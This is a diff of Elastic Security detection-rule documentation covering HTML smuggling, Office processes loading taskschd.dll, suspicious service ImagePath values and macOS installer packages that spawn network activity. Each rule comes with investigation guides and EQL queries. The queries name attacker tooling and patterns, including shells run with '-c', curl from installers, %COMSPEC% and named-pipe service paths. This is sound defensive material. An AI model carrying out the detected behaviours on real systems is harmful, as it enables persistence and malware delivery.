**Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious HTML File Creation* + + +HTML files, typically used for web content, can be exploited by adversaries to smuggle malicious payloads past security filters. By embedding harmful data within seemingly benign HTML files, attackers can bypass traditional defenses. The detection rule identifies such threats by monitoring the creation of HTML files with unusual characteristics, such as high entropy or large size, in common download and temporary directories. It also tracks browser processes that open these files, ensuring that any suspicious activity is flagged for further investigation. This approach helps in identifying potential phishing attempts and other initial access tactics used by attackers. + + +*Possible investigation steps* + + +- Review the file creation or rename event details to confirm the file extension is .htm or .html and check if the file's entropy is 5 or higher or if the file size is 150,000 bytes or more. +- Verify the file path to ensure it is located in one of the common download or temporary directories specified in the rule, such as "?:\Users\*\Downloads\*" or "?:\Users\*\AppData\Local\Temp\*". +- Examine the process start event to identify the browser process involved, ensuring it matches one of the specified browsers like chrome.exe or firefox.exe, and check if the process arguments align with the rule's conditions. +- Investigate the user.id associated with the sequence to determine if the activity aligns with the user's typical behavior or if it appears suspicious. +- Check for any recent phishing attempts or suspicious emails received by the user that could have led to the download and execution of the HTML file. +- Analyze the content of the HTML file for any embedded scripts or links that could indicate malicious intent or payload delivery. + + +*False positive analysis* + + +- Legitimate large HTML files downloaded from trusted sources may trigger the rule. Users can create exceptions for specific trusted domains or file hashes to prevent these from being flagged. +- HTML files generated by certain applications or services, such as email clients or document converters, might have high entropy due to embedded data. Identify these applications and exclude their file creation paths from monitoring. +- Temporary HTML files created during software updates or installations in the AppData or Temp directories can be mistaken for suspicious activity. Monitor and whitelist known update processes to reduce false positives. +- Browser extensions or plugins that save web content locally might create HTML files with characteristics similar to those flagged by the rule. Review and whitelist extensions that are known to be safe and necessary for business operations. +- Automated scripts or tools that process web content and save it as HTML files could be misidentified. Ensure these scripts are documented and their file paths are excluded from the rule's scope. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity. +- Terminate any suspicious browser processes identified in the alert to stop the execution of potentially harmful HTML files. +- Quarantine the suspicious HTML files detected in the specified directories to prevent accidental execution or further access by users. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional threats or malicious payloads. +- Review and analyze the system and network logs to identify any lateral movement or additional compromised systems, escalating findings to the security team for further investigation. +- Restore any affected files or systems from known good backups to ensure the integrity and availability of data and services. +- Implement additional monitoring and alerting for similar activities, focusing on high entropy and large HTML files in common download and temporary directories to enhance detection capabilities. + +This rule may have a low to medium performance impact due variety of file paths potentially matching each EQL sequence. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by user.id with maxspan=2m + + [file where host.os.type == "windows" and event.action in ("creation", "rename") and + + /* Check for HTML files with high entropy and size */ + file.extension : ("htm", "html") and ((file.Ext.entropy >= 5 and file.size >= 150000) or file.size >= 1000000) and + + /* Check for file paths in common download and temporary directories */ + file.path : ( + "?:\\Users\\*\\Downloads\\*", + "?:\\Users\\*\\Content.Outlook\\*", + "?:\\Users\\*\\AppData\\Local\\Temp\\Temp?_*", + "?:\\Users\\*\\AppData\\Local\\Temp\\7z*", + "?:\\Users\\*\\AppData\\Local\\Temp\\Rar$*")] + [process where host.os.type == "windows" and event.action == "start" and + ( + /* Check for browser processes opening HTML files with single argument */ + (process.name in ("chrome.exe", "msedge.exe", "brave.exe", "whale.exe", "browser.exe", "dragon.exe", "vivaldi.exe", "opera.exe") + and process.args == "--single-argument") or + + /* Optionally, check for browser processes opening HTML files with two arguments */ + (process.name == "iexplore.exe" and process.args_count == 2) or + + /* Optionally, check for browser processes opening HTML files with URL argument */ + (process.name in ("firefox.exe", "waterfox.exe") and process.args == "-url") + ) + /* Check for file paths in common download and temporary directories targeted in the process arguments */ + and process.args : ("?:\\Users\\*\\Downloads\\*.htm*", + "?:\\Users\\*\\Content.Outlook\\*.htm*", + "?:\\Users\\*\\AppData\\Local\\Temp\\Temp?_*.htm*", + "?:\\Users\\*\\AppData\\Local\\Temp\\7z*.htm*", + "?:\\Users\\*\\AppData\\Local\\Temp\\Rar$*.htm*")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: HTML Smuggling +** ID: T1027.006 +** Reference URL: https://attack.mitre.org/techniques/T1027/006/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-image-load-taskschd-dll-from-ms-office.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-image-load-taskschd-dll-from-ms-office.asciidoc new file mode 100644 index 0000000000..73c6f7a9ca --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-image-load-taskschd-dll-from-ms-office.asciidoc @@ -0,0 +1,194 @@ +[[prebuilt-rule-8-19-34-suspicious-image-load-taskschd-dll-from-ms-office]] +=== Suspicious Image Load (taskschd.dll) from MS Office + +Identifies a suspicious image load (taskschd.dll) from Microsoft Office processes. This behavior may indicate adversarial activity where a scheduled task is configured via Windows Component Object Model (COM). This technique can be used to configure persistence and evade monitoring by avoiding the usage of the traditional Windows binary (schtasks.exe) used to manage scheduled tasks. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.library-* +* logs-windows.sysmon_operational-* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://medium.com/threatpunter/detecting-adversary-tradecraft-with-image-load-event-logging-and-eql-8de93338c16 +* https://www.clearskysec.com/wp-content/uploads/2020/10/Operation-Quicksand.pdf + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious Image Load (taskschd.dll) from MS Office* + + +Microsoft Office, a widely used suite of productivity applications, is frequently targeted by attackers due to its popularity in corporate environments. These attackers exploit its extensive capabilities, like macro scripts in Word and Excel, to gain initial access to systems. They often use Office documents as delivery mechanisms for malware or phishing attempts, taking advantage of their trusted status in professional settings. + +`taskschd.dll` provides Command Object Model (COM) interfaces for the Windows Task Scheduler service, allowing developers to programmatically manage scheduled tasks. + +This rule looks for an MS Office process loading `taskschd.dll`, which may indicate an adversary abusing COM to configure a scheduled task. This can happen as part of a phishing attack, when a malicious office document registers the scheduled task to download the malware "stage 2" or to establish persistent access. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Analyze the host's scheduled tasks and explore the related Windows events to determine if tasks were created or deleted (Event IDs 4698 and 4699). +- Investigate any abnormal behavior by the subject process, such as network connections, registry or file modifications, and spawned child processes. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. +- Examine the files downloaded during the past 24 hours. + - Identify files that are related or can be executed in MS Office. + - Identify and analyze macros that these documents contain. + - Identify suspicious traits in the office macros, such as encoded or encrypted sections. +- Retrieve the suspicious files identified in the previous step and determine if they are malicious: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. + + +*Related Rules* + + +- Suspicious WMI Image Load from MS Office - 891cb88e-441a-4c3e-be2d-120d99fe7b0d + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. + - If the malicious file was delivered via phishing: + - Block the email sender from sending future emails. + - Block the malicious web pages. + - Remove emails from the sender from mailboxes. + - Consider improvements to the security awareness program. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-7-setup[Sysmon Event ID 7 - Image Loaded] + + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and + (event.category : ("library", "driver") or (event.category == "process" and event.action : "Image loaded*")) and + process.name : ("WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSPUB.EXE", "MSACCESS.EXE") and + (?dll.name : "taskschd.dll" or file.name : "taskschd.dll") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Scheduled Task/Job +** ID: T1053 +** Reference URL: https://attack.mitre.org/techniques/T1053/ +* Sub-technique: +** Name: Scheduled Task +** ID: T1053.005 +** Reference URL: https://attack.mitre.org/techniques/T1053/005/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Inter-Process Communication +** ID: T1559 +** Reference URL: https://attack.mitre.org/techniques/T1559/ +* Sub-technique: +** Name: Component Object Model +** ID: T1559.001 +** Reference URL: https://attack.mitre.org/techniques/T1559/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-imagepath-service-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-imagepath-service-creation.asciidoc new file mode 100644 index 0000000000..3aeeff2d97 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-imagepath-service-creation.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-suspicious-imagepath-service-creation]] +=== Suspicious ImagePath Service Creation + +Identifies the creation of a suspicious ImagePath value. This could be an indication of an adversary attempting to stealthily persist or escalate privileges through abnormal service creation. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Suspicious ImagePath Service Creation* + + + +*Possible investigation steps* + + +- What exact service "ImagePath" behavior did the alert preserve? + - Why: shell and pipe-backed service launches require different execution pivots. + - Focus: `registry.path`, `registry.key`, `registry.value`, `registry.data.type`, `registry.data.strings`. + - Implication: escalate when the value invokes the command interpreter, chains shell commands, or points to a local named pipe instead of a normal service executable; lower concern only when exact key and value match a recognized same-product service wrapper. + +- Who wrote the service value, and does that context fit service management? + - Focus: `process.executable`, `process.command_line`, `process.code_signature.subject_name`, `process.code_signature.trusted`, `user.id`. + - Hint: if the writer is "svchost.exe" or another broker, use `process.parent.executable` and broader lineage before attributing intent. !{investigate{"description":"","label":"Activity from this writer process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}],[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate for unsigned utilities, script hosts, remote-admin tools, unusual paths, or user contexts that do not fit service changes; lower concern only when signer, path, command line, and user fit a recognized installer or management agent. + +- Did the same writer change other values under the service key? + - Why: existing-service edits can preserve trust while changing start mode, account context, DLL loading, failure behavior, or security descriptor. + - Focus: same-`host.id` registry events scoped by service `registry.key`, reviewing `registry.value` and `registry.data.strings`. !{investigate{"description":"","label":"Registry events for the same service key","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"registry","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"registry.key","queryType":"phrase","value":"{{registry.key}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when surrounding values make the service autostart, run privileged, load a DLL/parameter path, restart on failure, or become harder to enumerate; lower concern when the writer performs only one bounded product-owned service update. + +- Did the service path execute or spawn follow-on activity? + - Focus: later same-`host.id` process events where `process.executable` or `process.command_line` matches the recovered service value, plus `process.parent.executable` and lineage. !{investigate{"description":"","label":"Process starts on the host near the service change","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Range: start with the alert window; expand after `@timestamp` only to test delayed service start. + - Hint: for command-interpreter paths, search "cmd.exe" and recovered command fragments in `process.command_line`; for named-pipe paths, search "services.exe" lineage, helpers, or service-start failures instead of expecting a file-backed executable. + - Implication: escalate when service lineage launches a shell, pipe helper, or unexpected child soon after the write; do not close solely because execution is not visible, since the service may start later or fail during launch. + +- If execution occurred, does the launched process fit the expected service? + - Focus: recovered launch event: `process.hash.sha256`, `process.code_signature.subject_name`, `process.code_signature.trusted`, `process.pe.original_file_name`, `process.Ext.relative_file_creation_time`. + - Implication: escalate when the binary is unsigned, newly created, renamed, PE-mismatched, or unrelated to the writer signer; lower concern when identity, signer, age, and service value all fit the same recognized product. + +- What disposition do service value, writer, adjacent values, execution, and related alerts support? + - Hint: if local evidence remains suspicious or unresolved, review user- and host-scoped alerts. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: escalate when shell or named-pipe execution plus writer, adjacent value, execution, or alert context fails to fit one recognized workflow; close only when those categories converge on the exact service-management activity, using outside confirmation when telemetry cannot prove legitimacy; if evidence is mixed or incomplete, preserve registry and process evidence and escalate. + + +*False positive analysis* + + +- Software installation, repair, agent upgrade, remote-support, or deployment tooling can rewrite service "ImagePath" values or register short-lived helper services only when a signed installer, management component, vendor behavior, or internal test plan owns the service end-to-end. Confirm `process.executable`, signer/trust, `user.id`, `registry.key`, `registry.data.strings`, and later parent/command-line activity align with that workflow, not an ad hoc shell or pipe helper. +- Shell or pipe "ImagePath" behavior is an anti-pattern unless the vendor or test plan accounts for that exact helper. Without records, require current-case telemetry that writer, signer, service key/value, `user.id`, `host.id`, later execution, and related alerts align without contradiction. +- Before creating an exception, use prior alerts only to prove exception stability, not to close the case. Validate consistent service value, writer, user, host, and execution behavior across the same workflow. Treat a first occurrence as a candidate exception, not a suppression. Build the exception from the minimum confirmed pattern: writer signer and path, exact service key, exact `registry.data.strings`, `user.id`, and `host.id`. Avoid exceptions on `registry.value` = "ImagePath", "services.exe", or the rule name alone. + + +*Response and remediation* + + +- If confirmed benign, preserve the case export and document the writer identity, exact service key and value, affected `user.id` and `host.id`, and later service-start behavior that proved the recognized workflow before reversing temporary containment. Keep any exception narrow and require recurrence of the same workflow pattern. +- If suspicious but unconfirmed, preserve a case export of the triggering registry event, exact service key/value, writer process details, launched-process details, and volatile service state before containment. Then apply reversible containment tied to those findings, such as disabling the affected service, preventing the referenced command from starting, or isolating the host only after weighing service criticality. Escalate to account or broader host action only when related alerts or later execution show wider compromise. +- If confirmed malicious, preserve the same registry and process evidence before destructive action. Disable and remove the malicious or hijacked service, restore the expected "ImagePath", quarantine the referenced executable or command artifact when present, and review the same `process.entity_id`, `registry.key`, and service lineage for additional unauthorized service changes before cleanup. Use endpoint response tooling to contain the host or terminate the recovered malicious process when available; if direct response is unavailable, escalate with the preserved identifiers to the team that can act. +- After containment, review other hosts for the same `registry.data.strings`, service-key pattern, signer, hash, or command fragment before deleting artifacts, then verify that no additional services reference the same shell, named pipe, or staged payload. +- Post-incident hardening: restrict service creation and service-registry writes to trusted installers and management tools, retain registry and process telemetry needed to correlate "ImagePath" changes to later execution, and record any adjacent service-abuse variant surfaced during triage. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and + registry.value : "ImagePath" and + registry.path : "*\\SYSTEM\\ControlSet*\\Services\\*\\ImagePath" and + /* add suspicious registry ImagePath values here */ + registry.data.strings : ("%COMSPEC%*", "*\\.\\pipe\\*") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Sub-technique: +** Name: Windows Service +** ID: T1543.003 +** Reference URL: https://attack.mitre.org/techniques/T1543/003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-installer-package-spawns-network-event.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-installer-package-spawns-network-event.asciidoc new file mode 100644 index 0000000000..caa2e67d6a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-suspicious-installer-package-spawns-network-event.asciidoc @@ -0,0 +1,193 @@ +[[prebuilt-rule-8-19-34-suspicious-installer-package-spawns-network-event]] +=== Suspicious Installer Package Spawns Network Event + +Detects the execution of a MacOS installer package with an abnormal child process (e.g bash) followed immediately by a network connection via a suspicious process (e.g curl). Threat actors will build and distribute malicious MacOS installer packages, which have a .pkg extension, many times imitating valid software in order to persuade and infect their victims often using the package files (e.g pre/post install scripts etc.) to download additional tools or malicious software. If this rule fires it should indicate the installation of a malicious or suspicious package. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://redcanary.com/blog/clipping-silver-sparrows-wings +* https://posts.specterops.io/introducing-mystikal-4fbd2f7ae520 +* https://github.com/D00MFist/Mystikal + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Supply Chain +* Threat: Installer Abuse +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Installer Package Spawns Network Event* + + +MacOS installer packages, often with a .pkg extension, are used to distribute software. Adversaries exploit this by embedding scripts to execute additional commands or download malicious payloads. The detection rule identifies suspicious behavior by monitoring for installer packages spawning shell processes followed by network activity, indicating potential malicious activity. + + +*Possible investigation steps* + + +- Review the process details to identify the parent process name and entity ID, focusing on processes like "installer" or "package_script_service" that initiated the suspicious activity. +- Examine the child process that was spawned, such as "bash", "sh", or "python", to determine the commands executed and assess if they align with typical installation behavior or appear malicious. +- Investigate the network activity associated with the suspicious process, particularly looking at processes like "curl" or "wget", to identify any external connections made and the destination IP addresses or domains. +- Check the timestamp and sequence of events to confirm if the network activity closely followed the process execution, indicating a potential download or data exfiltration attempt. +- Analyze any downloaded files or payloads for malicious content using threat intelligence tools or sandbox environments to determine their intent and potential impact. +- Correlate the findings with known threat actor tactics or campaigns, leveraging threat intelligence sources to assess if the activity matches any known patterns or indicators of compromise. + + +*False positive analysis* + + +- Legitimate software installations may trigger this rule if they use scripts to configure network settings or download updates. Users can create exceptions for known safe software by whitelisting specific installer package names or hashes. +- System administrators often use scripts to automate software deployment and updates, which might involve network activity. To reduce false positives, exclude processes initiated by trusted administrative tools or scripts. +- Development environments on macOS might execute scripts that connect to the internet for dependencies or updates. Users can mitigate this by excluding processes associated with known development tools or environments. +- Some security tools or monitoring software may use scripts to perform network checks or updates. Identify and exclude these processes if they are verified as non-threatening. +- Frequent updates from trusted software vendors might trigger this rule. Users should maintain an updated list of trusted vendors and exclude their processes from triggering alerts. + + +*Response and remediation* + + +- Isolate the affected MacOS system from the network immediately to prevent further malicious activity or data exfiltration. +- Terminate any suspicious processes identified in the alert, such as those initiated by the installer package, to halt ongoing malicious actions. +- Conduct a thorough review of the installed applications and remove any unauthorized or suspicious software, especially those with a .pkg extension. +- Restore the system from a known good backup if available, ensuring that the backup predates the installation of the malicious package. +- Update and patch the MacOS system and all installed applications to the latest versions to mitigate vulnerabilities that could be exploited by similar threats. +- Monitor network traffic for any signs of command and control communication or data exfiltration attempts, using the indicators identified in the alert. +- Escalate the incident to the security operations team for further investigation and to assess the potential impact on other systems within the network. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=15s +[process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and process.parent.name like~ ("installer", "package_script_service") and ((process.name in ("bash", "sh", "zsh") and process.args == "-c") or (process.name like~ ("python*", "osascript", "tclsh*", "curl", "nscurl")))] +[network where host.os.type == "macos" and event.type == "start"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: AppleScript +** ID: T1059.002 +** Reference URL: https://attack.mitre.org/techniques/T1059/002/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ +* Technique: +** Name: Ingress Tool Transfer +** ID: T1105 +** Reference URL: 